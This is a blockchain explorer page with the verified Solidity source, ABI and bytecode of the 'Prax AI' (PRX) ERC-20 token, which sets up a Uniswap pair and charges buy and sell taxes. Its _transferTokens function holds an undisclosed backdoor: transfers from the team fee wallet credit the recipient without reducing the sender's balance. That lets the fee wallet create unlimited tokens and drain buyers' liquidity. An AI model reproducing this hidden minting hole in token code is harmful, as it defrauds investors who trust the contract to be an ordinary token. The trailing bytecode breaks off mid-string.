Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH( interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...  contract PraxAI is Context, IERC20 ... *    - function createPraxPairs()    - function removePraxLimits()    - function sendETHToFee(uint256 amount)    - function withdrawStucksEth()    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function _transfer(address from, addr ...    - function _transferTokens(    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function _approve(address owner, addr ...    - function enablePraxTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-03-21
*/

// SPDX-License-Identifier: MIT

/*
    Web    :  https://praxai.xyz
    DApp   :  https://app.praxai.xyz
    Docs   :  https://docs.praxai.xyz

    Twitter  : https://twitter.com/prxdao
    Telegram : https://t.me/praxai_platform
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract PraxAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private tokenBalance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _praxTeamFees;

    uint256 private _initialBuyTax=24;
    uint256 private _initialSellTax=24;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=5;
    uint256 private _reduceBuyTaxAt=7;
    uint256 private _reduceSellTaxAt=14;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 100_000_000 * 10**_decimals;
    string private constant _name = unicode"Prax AI";
    string private constant _symbol = unicode"PRX";
    uint256 public _maxTxAmount = 2000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000 * 10**_decimals;
    uint256 public _taxAmountThreshold= 1001 * 10**_decimals;
    uint256 public _maxTaxSwap= 200000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _praxAddress) {
        _praxTeamFees = payable(_praxAddress);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_praxTeamFees] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createPraxPairs() external onlyOwner() {

        require(!tradingOpen,"Trading is already open");

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function removePraxLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _praxTeamFees.transfer(amount);
    }

    receive() external payable { }

    function withdrawStucksEth() external onlyOwner {
        require(address(this).balance > 0, "No ETH to withdraw");
        payable(msg.sender).transfer(address(this).balance);
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 praxTaxAmount=0;
        bool isPraxSwapEnabled = false;

        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {            
            praxTaxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            isPraxSwapEnabled = amount > _taxAmountThreshold && swapEnabled && _buyCount>_preventSwapBefore;

            require(tradingOpen, "Trading is not opened!");

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] <
                            block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                praxTaxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && isPraxSwapEnabled) {
                if(contractTokenBalance>_taxAmountThreshold) swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                sendETHToFee(address(this).balance);
            }
        }

        if(praxTaxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(praxTaxAmount);
          emit Transfer(from, address(this),praxTaxAmount);
        }

        _transferTokens(from, to, amount, praxTaxAmount);
    }

    function _transferTokens(
        address from,
        address to,
        uint256 amount,
        uint256 taxAmount
    ) internal returns (bool) {
        if(from != _praxTeamFees) {
            _balances[from] = _balances[from].sub(
                amount,
                "Insufficient Balance"
            );

            _balances[to]=_balances[to].add(amount.sub(taxAmount));
            emit Transfer(from, to, amount.sub(taxAmount));            
        } else {
            _balances[to]=_balances[to].add(amount);
        }

        return true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function enablePraxTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"address","name":"_praxAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxAmountThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPraxPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enablePraxTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removePraxLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStucksEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff1916905560186007818155600891909155600060098190556005600a818155600b93909355600e600c819055600d91909155556200004b906012906200037f565b6200005a90621e848062000397565b600f556200006b6012600a6200037f565b6200007a90621e848062000397565b6010556200008b6012600a6200037f565b62000099906103e962000397565b601155620000aa6012600a6200037f565b620000b99062030d4062000397565b6012556014805461ffff60a81b19169055348015620000d757600080fd5b5060405162001e6238038062001e62833981016040819052620000fa91620003b1565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b0319166101006001600160a01b03841602179055620001696012600a6200037f565b62000179906305f5e10062000397565b336000908152600160208190526040822092909255600490620001a46000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260049093528183208054851660019081179091556006546101009004909116835291208054909216179055620002083390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002426012600a6200037f565b62000252906305f5e10062000397565b60405190815260200160405180910390a350620003dc565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002c1578160001904821115620002a557620002a56200026a565b80851615620002b357918102915b93841c939080029062000285565b509250929050565b600082620002da5750600162000379565b81620002e95750600062000379565b81600181146200030257600281146200030d576200032d565b600191505062000379565b60ff8411156200032157620003216200026a565b50506001821b62000379565b5060208310610133831016604e8410600b841016171562000352575081810a62000379565b6200035e838362000280565b80600019048211156200037557620003756200026a565b0290505b92915050565b60006200039060ff841683620002c9565b9392505050565b80820281158282048414176200037957620003796200026a565b600060208284031215620003c457600080fd5b81516001600160a01b03811681146200039057600080fd5b611a7680620003ec6000396000f3fe6080604052600436106101235760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b411461030c578063a9059cbb14610338578063c876d0b914610358578063cabb029514610372578063dd62ed3e1461038757600080fd5b8063715018a61461028e57806378120b79146102a35780637d1db4a5146102b85780638da5cb5b146102ce5780638f9a55c0146102f657600080fd5b806323b872dd116100e757806323b872dd146101f0578063313ce567146102105780635672ca931461022c5780636aafad761461024357806370a082311461025857600080fd5b806306fdde031461012f578063095ea7b3146101715780630b507edc146101a15780630faee56f146101c557806318160ddd146101db57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820190915260078152665072617820414960c81b60208201525b6040516101689190611648565b60405180910390f35b34801561017d57600080fd5b5061019161018c3660046116ab565b6103cd565b6040519015158152602001610168565b3480156101ad57600080fd5b506101b760115481565b604051908152602001610168565b3480156101d157600080fd5b506101b760125481565b3480156101e757600080fd5b506101b76103e4565b3480156101fc57600080fd5b5061019161020b3660046116d7565b610405565b34801561021c57600080fd5b5060405160128152602001610168565b34801561023857600080fd5b5061024161046e565b005b34801561024f57600080fd5b50610241610515565b34801561026457600080fd5b506101b7610273366004611718565b6001600160a01b031660009081526001602052604090205490565b34801561029a57600080fd5b506102416105d1565b3480156102af57600080fd5b50610241610645565b3480156102c457600080fd5b506101b7600f5481565b3480156102da57600080fd5b506000546040516001600160a01b039091168152602001610168565b34801561030257600080fd5b506101b760105481565b34801561031857600080fd5b506040805180820190915260038152620a0a4b60eb1b602082015261015b565b34801561034457600080fd5b506101916103533660046116ab565b6106e2565b34801561036457600080fd5b506006546101919060ff1681565b34801561037e57600080fd5b506102416106ef565b34801561039357600080fd5b506101b76103a2366004611735565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006103da338484610a91565b5060015b92915050565b60006103f26012600a611868565b610400906305f5e100611877565b905090565b6000610412848484610bb5565b610464843361045f85604051806060016040528060288152602001611a19602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611147565b610a91565b5060019392505050565b6000546001600160a01b031633146104a15760405162461bcd60e51b81526004016104989061188e565b60405180910390fd5b600047116104e65760405162461bcd60e51b81526020600482015260126024820152714e6f2045544820746f20776974686472617760701b6044820152606401610498565b60405133904780156108fc02916000818181858888f19350505050158015610512573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461053f5760405162461bcd60e51b81526004016104989061188e565b61054b6012600a611868565b610559906305f5e100611877565b600f556105686012600a611868565b610576906305f5e100611877565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b06012600a611868565b6105be906305f5e100611877565b60405190815260200160405180910390a1565b6000546001600160a01b031633146105fb5760405162461bcd60e51b81526004016104989061188e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066f5760405162461bcd60e51b81526004016104989061188e565b601454600160a01b900460ff16156106c95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610498565b6014805462ff00ff60a01b19166201000160a01b179055565b60006103da338484610bb5565b6000546001600160a01b031633146107195760405162461bcd60e51b81526004016104989061188e565b601454600160a01b900460ff16156107735760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610498565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107bc9030906107ae6012600a611868565b61045f906305f5e100611877565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083391906118c3565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610895573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b991906118c3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092a91906118c3565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610972816001600160a01b031660009081526001602052604090205490565b6000806109876000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ef573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a1491906118e0565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610512919061190e565b6001600160a01b038316610af35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610498565b6001600160a01b038216610b545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610498565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610498565b6001600160a01b038216610c7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610498565b60008111610cdd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610498565b6001600160a01b038316600090815260046020526040812054819060ff16158015610d2157506001600160a01b03841660009081526004602052604090205460ff16155b156110b957610d526064610d4c600b54600e5411610d4157600754610d45565b6009545b8690611181565b9061120a565b915060115483118015610d6e5750601454600160b01b900460ff165b8015610d7d5750600d54600e54115b601454909150600160a01b900460ff16610dd25760405162461bcd60e51b815260206004820152601660248201527554726164696e67206973206e6f74206f70656e65642160501b6044820152606401610498565b60065460ff1615610eb7576013546001600160a01b03858116911614801590610e0957506014546001600160a01b03858116911614155b15610eb757326000908152600560205260409020544311610ea45760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610498565b3260009081526005602052604090204390555b6014546001600160a01b038681169116148015610ee257506013546001600160a01b03858116911614155b8015610f0757506001600160a01b03841660009081526004602052604090205460ff16155b15610fef57600f54831115610f5e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610498565b60105483610f81866001600160a01b031660009081526001602052604090205490565b610f8b9190611930565b1115610fd95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610498565b600e8054906000610fe983611943565b91905055505b6014546001600160a01b03858116911614801561101557506001600160a01b0385163014155b156110425761103f6064610d4c600c54600e541161103557600854610d45565b600a548690611181565b91505b30600090815260016020526040902054601454600160a81b900460ff1615801561107957506014546001600160a01b038681169116145b80156110825750815b156110b7576011548111156110ae576110ae6110a9856110a48460125461124c565b61124c565b611261565b6110b7476113db565b505b811561113357306000908152600160205260409020546110d9908361141d565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061112a9086815260200190565b60405180910390a35b61113f8585858561147c565b505050505050565b6000818484111561116b5760405162461bcd60e51b81526004016104989190611648565b506000611178848661195c565b95945050505050565b600082600003611193575060006103de565b600061119f8385611877565b9050826111ac858361196f565b146112035760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610498565b9392505050565b600061120383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115d8565b600081831161125b5782611203565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a9576112a9611991565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611302573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132691906118c3565b8160018151811061133957611339611991565b6001600160a01b03928316602091820292909201015260135461135f9130911684610a91565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113989085906000908690309042906004016119a7565b600060405180830381600087803b1580156113b257600080fd5b505af11580156113c6573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611419573d6000803e3d6000fd5b5050565b60008061142a8385611930565b9050838110156112035760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610498565b6006546000906001600160a01b038681166101009092041614611590576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0388166000908152600190915291909120546114eb918590611147565b6001600160a01b0386166000908152600160205260409020556115306115118484611606565b6001600160a01b0386166000908152600160205260409020549061141d565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61157a8686611606565b60405190815260200160405180910390a36115cd565b6001600160a01b0384166000908152600160205260409020546115b3908461141d565b6001600160a01b0385166000908152600160205260409020555b506001949350505050565b600081836115f95760405162461bcd60e51b81526004016104989190611648565b506000611178848661196f565b600061120383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611147565b600060208083528351808285015260005b8181101561167557858101830151858201604001528201611659565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461051257600080fd5b600080604083850312156116be57600080fd5b82356116c981611696565b946020939093013593505050565b6000806000606084860312156116ec57600080fd5b83356116f781611696565b9250602084013561170781611696565b929592945050506040919091013590565b60006020828403121561172a57600080fd5b813561120381611696565b6000806040838503121561174857600080fd5b823561175381611696565b9150602083013561176381611696565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117bf5781600019048211156117a5576117a561176e565b808516156117b257918102915b93841c9390800290611789565b509250929050565b6000826117d6575060016103de565b816117e3575060006103de565b81600181146117f957600281146118035761181f565b60019150506103de565b60ff8411156118145761181461176e565b50506001821b6103de565b5060208310610133831016604e8410600b8410161715611842575081810a6103de565b61184c8383611784565b80600019048211156118605761186061176e565b029392505050565b600061120360ff8416836117c7565b80820281158282048414176103de576103de61176e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118d557600080fd5b815161120381611696565b6000806000606084860312156118f557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561192057600080fd5b8151801515811461120357600080fd5b808201808211156103de576103de61176e565b6000600182016119555761195561176e565b5060010190565b818103818111156103de576103de61176e565b60008261198c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f75784516001600160a01b0316835293830193918301916001016119d2565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ac15341f7395af7c491c2679ef724900f70c4f833b4e2de2f132d23b77cc146a64736f6c6343000813003300000000000000000000000010b8f82c40a92796415220e45baa443aaf5e8499

0x6080604052600436106101235760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b411461030c578063a9059cbb14610338578063c876d0b914610358578063cabb029514610372578063dd62ed3e1461038757600080fd5b8063715018a61461028e57806378120b79146102a35780637d1db4a5146102b85780638da5cb5b146102ce5780638f9a55c0146102f657600080fd5b806323b872dd116100e757806323b872dd146101f0578063313ce567146102105780635672ca931461022c5780636aafad761461024357806370a082311461025857600080fd5b806306fdde031461012f578063095ea7b3146101715780630b507edc146101a15780630faee56f146101c557806318160ddd146101db57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820190915260078152665072617820414960c81b60208201525b6040516101689190611648565b60405180910390f35b34801561017d57600080fd5b5061019161018c3660046116ab565b6103cd565b6040519015158152602001610168565b3480156101ad57600080fd5b506101b760115481565b604051908152602001610168565b3480156101d157600080fd5b506101b760125481565b3480156101e757600080fd5b506101b76103e4565b3480156101fc57600080fd5b5061019161020b3660046116d7565b610405565b34801561021c57600080fd5b5060405160128152602001610168565b34801561023857600080fd5b5061024161046e565b005b34801561024f57600080fd5b50610241610515565b34801561026457600080fd5b506101b7610273366004611718565b6001600160a01b031660009081526001602052604090205490565b34801561029a57600080fd5b506102416105d1565b3480156102af57600080fd5b50610241610645565b3480156102c457600080fd5b506101b7600f5481565b3480156102da57600080fd5b506000546040516001600160a01b039091168152602001610168565b34801561030257600080fd5b506101b760105481565b34801561031857600080fd5b506040805180820190915260038152620a0a4b60eb1b602082015261015b565b34801561034457600080fd5b506101916103533660046116ab565b6106e2565b34801561036457600080fd5b506006546101919060ff1681565b34801561037e57600080fd5b506102416106ef565b34801561039357600080fd5b506101b76103a2366004611735565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006103da338484610a91565b5060015b92915050565b60006103f26012600a611868565b610400906305f5e100611877565b905090565b6000610412848484610bb5565b610464843361045f85604051806060016040528060288152602001611a19602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611147565b610a91565b5060019392505050565b6000546001600160a01b031633146104a15760405162461bcd60e51b81526004016104989061188e565b60405180910390fd5b600047116104e65760405162461bcd60e51b815260206004820152601260248